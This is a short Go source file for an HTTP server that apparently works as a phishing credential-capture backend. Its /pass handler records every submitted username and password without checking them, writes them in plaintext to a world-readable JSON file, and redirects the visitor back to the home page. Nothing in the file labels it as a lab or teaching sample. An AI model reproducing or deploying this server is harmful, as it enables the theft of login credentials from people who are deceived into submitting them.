package main import ( "encoding/json" "flag" "log" "net/http" "sync" "text/template" "io/ioutil" ) type Cred struct { Name string Password string } var creds = make([]Cred, 0) var m = sync.Mutex{} var addr = flag.String("addr", ":8000", "http service address") var static_files = flag.String("static", "./static", "location of static files") var db_file = flag.String("db", "db.json", "output database") var homeTempl = template.Must(template.ParseFiles("index.html")) func homeHandler(c http.ResponseWriter, req *http.Request) { homeTempl.Execute(c, req.Host) } func passHandler(resp http.ResponseWriter, req *http.Request) { un := req.FormValue("username") pw := req.FormValue("password") c := Cred{un, pw} m.Lock() defer m.Unlock() creds = append(creds, c) b, err := json.Marshal(creds) if err != nil { log.Fatal(err) } err = ioutil.WriteFile(*db_file, b, 0644) if err != nil { log.Fatal(err) } http.Redirect(resp, req, "/", http.StatusTemporaryRedirect) } func main() { flag.Parse() b, err := ioutil.ReadFile(*db_file) if err != nil { log.Fatal("Problem opening db file", err) } err = json.Unmarshal(b, &creds) if err != nil { log.Fatal("Problem parsing db file", err) } http.HandleFunc("/", homeHandler) http.HandleFunc("/pass", passHandler) http.Handle("/s/", http.StripPrefix("/s/", http.FileServer(http.Dir(*static_files)))) if err := http.ListenAndServe(*addr, nil); err != nil { log.Fatal("ListenAndServe:", err) } }